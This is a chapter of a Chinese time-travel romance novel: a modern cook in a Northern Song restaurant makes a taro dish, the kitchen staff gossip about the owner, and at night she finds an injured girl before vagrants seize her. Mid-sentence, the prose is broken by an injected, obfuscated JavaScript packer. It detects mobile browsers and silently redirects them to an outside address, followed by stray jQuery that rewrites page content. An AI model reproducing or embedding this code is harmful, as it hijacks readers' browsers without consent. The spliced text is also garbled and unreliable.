后厨的灶火噼啪作响,柳嘉之攥着自己刚写的菜谱,猫腰在四处寻找着她今日的所需食材。
案台上堆着新采的萝卜青菜,她踮脚扒拉过竹筐,扭头问正在揉面的王婶:“王婶,咱们土豆放在哪的呀?”
揉面声戛然而止,王婶沾着面粉的手停在半空,“土豆?”
“就是圆圆滚滚、黄澄澄,削皮后白生生的。”柳嘉之用手比划着。
王婶思考了几秒,“小柳说的,莫不是说黄芽芋?”她咧着嘴笑着,几颗黄牙若隐若现,用胳膊肘指了指墙角的竹篓,“昨儿刚进的货,看着倒是合你说的模样。”
柳嘉之期待着小跑过去,蹲下身,竹篓里灰扑扑的芋头堆得满满当当,表皮坑洼不平,还沾着新鲜的泥土。
“这不是芋头嘛。”她声音有些发闷,却还是强撑着笑意举起一颗芋头,“土豆比芋头大数倍,埋在土里不用见光就能长。”
刘师傅握着勺从灶台后探出头,“听着倒像地黄根,但地黄发苦,哪能做菜?”
怎地大家……好像都不认识土豆的样子。难道……
土豆星人柳嘉之今日最大打击,北宋没有土豆。
*
“罢了。”她深吸一口气,看着手上黑黢黢的芋头,“那我今天就用这个。”
不多会,柳嘉之心无旁骛地将寻来的五花肉、芋头洗净后,放到了案上。
王婶探头进来:“小柳,今儿个琢磨啥新鲜玩意儿?”
她笑了笑,将芋头切块:“王婶,今天给大家做一道【芋泥火山】。”
听莲和阿福刚从前厅回到后厨,听见柳嘉之的话直感兴趣,连忙上前凑热闹,“姑娘啥是火山啊?”
“简单来说,就是座会喷火的山。”柳嘉之故作玄虚道。
王婶被逗得直乐,“女娃娃就会说胡话,难不成这芋头还能冒烟?”
蒸笼掀开,柳嘉之将蒸得软烂的芋头捣成泥。
手腕翻转,芋泥在粗陶碗里堆成尖耸的小山,顶端特意挖出凹陷的火山口。
*
那厢,五花肉在铁锅里滋滋冒油,她撒入香菇丁翻炒,浇上两勺豆酱,浓郁的酱香混着肉香,引得阿福直咽口水。
“出锅!”肉燥冒着大泡填进火山口,柳嘉之又用筷子在芋泥表面划出沟壑,撒上翠绿的葱花装饰。
周边顿时围了一圈人,阿福整个人几乎趴在碗沿:“这芋头,还能有这么个吃法?”后又被听莲揪住后领:“等姐姐分!”
柳嘉之用汤匙切开焦脆的肉燥表层,滚烫的酱汁漫过芋泥山体。
第一勺刚递出去,刘师傅已经扒拉开人群:“让我这掌勺的先尝尝!”刚入口他就瞪大了铜铃眼,“奇了!”
“我也要我也要!”
此起彼伏的赞美声中,柳嘉之看着空碗里残留的酱汁,不觉笑了。
*
冬日午刻,晏井承紧握折扇的掌心沁出细汗。
这已是他五日里,第十次顺路经过州江楼。
这几日,柳嘉之和听莲鬓边别着小五子摘来的腊梅,被阿福突然的玩笑话逗得前仰后合的模样,他都一一瞧在眼里。
现如今,他又来了。
周掌柜察觉异样:“东家昨日才查过的月银,今日又要看?”
“恰逢年末,自当谨慎些。”
后厨飘来阵阵焦香,他鬼使神差挪步过去。正撞见柳嘉之端着新试的菜,被众人簇拥着问咸淡。
“奇怪了。”刘师傅擦着汗低声嘟囔,“往日东家月余不来一回,如今倒比跑堂的还勤快。”
阿福挠着头附和:“可不是,往日在后院草垛打盹能睡半个时辰,如今东家三天两头来巡查,害得我连打个盹儿都得竖着耳朵。”
柳嘉之拿着勺的手顿了顿,转身顺着众人目光往前厅望去。
只见月白衣角在门框处然一闪,晏井承半张脸隐在阴影里,墨色眼眸正探视着他们。
二人目光相撞,晏井承猛地转身,转瞬消失在人声鼎沸里。
*
“我说什么来着,”王婶神秘地拍着大腿,“东家最近天天往酒楼钻,定是有了心上人。”
阿福跟着起哄:“莫不是那位从外头请来弹琵琶的小娘子?我上午刚见东家盯着人家的曲谱瞧了许久。”
“依我看,十有八九。”王婶尝了口菜,“不然就说那聚仙楼的苏掌柜,东家瞧都不带正眼瞧的,说不通呀。”
小五子弱弱开口:“这、这又跟苏掌柜有个啥关系。”
王婶手指点了一下他的额头:“傻小子,要是有个天仙似的美人儿巴巴凑上来,你能不动心?”
听莲放下了手里筷子,挽上柳嘉之的胳膊:“要论好看,要我说,咱们姑娘才是最好看的呢!”
听莲话音刚落,后厨突然安静下来。
“都看着我作甚!尝新菜啊!”柳嘉之脸涨得通红。
阿福眯起眼睛,“别说,这么一看,姑娘今日的翠玉发簪确实好看!”说完又被听莲隔着三个人掐了一把胳膊。
“痛痛痛……”
王婶笑得直颤:“哎哟,要说咱们后厨,可不就数小柳手巧人灵!等过了年,婶子给你寻个好人家,保准是又俊朗又挺拔的儿郎,比那些话本里的风流公子强十倍。”
一个下午,后厨的哄笑声不断,衬得后院的雪景暖意融融。
*
深夜,柳嘉之推开雕花门。
晏井承吩咐收拾的这间二楼厢房,新糊的桑皮纸透着光,窗台上的瓷瓶里,几株腊梅开得正好,是小五子前几日摘的。
虽有炭盆煨着,屋内仍透着几分清寒。
听莲自小在晏府长大,跟着她挤在这酒楼厢房终究不是长久之计。拗不过她坚持,柳嘉之好说歹说,才让那小丫头答应夜里回晏府歇息,白日再来州江楼帮衬。
柳嘉之缓缓踱步,吹灭屋内的所有烛火。
月色中,她摸到枕边那个磨得边角发毛的油纸包。
轻轻展开,里头躺着零星几方桂花糖。
那是昏迷醒来时,晏井承特地塞给她的,说是怕她喝药太苦。
信手将糖块放进嘴里,甜桂花的香味儿,涌上舌尖。
总在晚上吃糖,不会得蛀牙吧?柳嘉之甜得皱起眉头。
这几日,每个辗转难眠的夜,她都要含
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936894|177258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上一颗方能安心些许。
*
风雪轻拍着窗户,她刚把腿缩进被窝,窗外就飘来一声极轻的抽噎。
柳嘉之轻慢坐直身子,屏息聆听。
或许是幻听?她大抵是糊涂了,如今连风声都能听出人声。
正要松口气,第二声呜咽破空而来。
这回真切得可怕,带着刻意压抑的颤抖,她踉跄着下床,行至窗边。
推开窗的刹那,雪粒子随风扑在屋里。她探出半个身子,只见楼下街道浓墨般漆黑。
哭声却因为大开的窗,愈发清晰。
只着了单衣的身子忍不住发颤,这声音……她好生耳熟。
那声音似藤蔓般缠绕上来,越勒越紧。柳嘉之再次四周探视漆黑巷道,额头泛起细密的冷汗。
她抄起披风,咬着牙打开房门,跌跌撞撞摸黑冲进厨房。
柳嘉之寻了把剔骨短刀,“只是去看看…”她喃喃自语,刀刃却下意识横在胸前。
她小心翼翼推开州江楼的侧门,深吸一口气,踩着地上薄薄的积雪,朝着哭声的方向走去。
循着声响拐进深巷子,墙根下蜷缩的黑影让她脚步顿住。
*
灰扑扑的小身子裹着破布,发间沾着些许泥土。
“你……还好吗?”她试探着靠近,话音未落,小姑娘猛地抬起头。
冻得发紫的嘴唇,还有眼角未干的泪痕,惊得柳嘉之一阵轻颤。
她强行让自己镇定下来,再走近些。
小姑娘慌忙往墙角缩,手腕上无数新鲜的红痕。
柳嘉之蹲下身,定睛一看,是她!自己穿越醒来,第一个搭话的小姑娘!
柳嘉之震惊之余,立马解下披风替她披上。
小姑娘单薄的身板,仿佛能被这披风压碎,柳嘉之心口徒然发紧。
“小妹妹,是我…跟我走好不好,我带你去看大夫……”
柳嘉之扔下刀,颤抖着想要把她抱起来,却摸到她后腰黏腻的液体。
小姑娘微弱地摇摇头:“来不及了……姐姐…你快……快走!”
*
远处骤然有火把亮起,乱糟糟的脚步声似催命符般,越来越近。
柳嘉之额角沁出冷汗,胳膊急忙环住对方,试图将人拽起。
尽管这个十三四岁的孩子瘦得只剩骨头,柳嘉之咬牙试了两次也无法将她抱起。
“他们是谁?”柳嘉之的声音带着哭腔。
小姑娘剧烈摇头,喃喃说着些什么,柳嘉之却听不清。
“你坚持住,快试试能不能站起来,咱们一块走……”火光已染红巷口,而怀中的人呼吸微弱,瘫软如泥,连挣扎的力气都没了。
“小妹妹……”她的声音卡在喉咙。
突然,身后传来破锣嗓音,“小美人儿,可让哥哥们好找啊!”
三个蓬头垢面的流民举着火把走出,为首那人露出缺了半截门牙,猥琐笑着,“怎么,忘了你在破庙给哥几个分过饼子啦?”
柳嘉之浑身发冷,脑中一片空白。
粗粝的手掌狠狠揪住她的头发,腐臭的气息喷在后颈。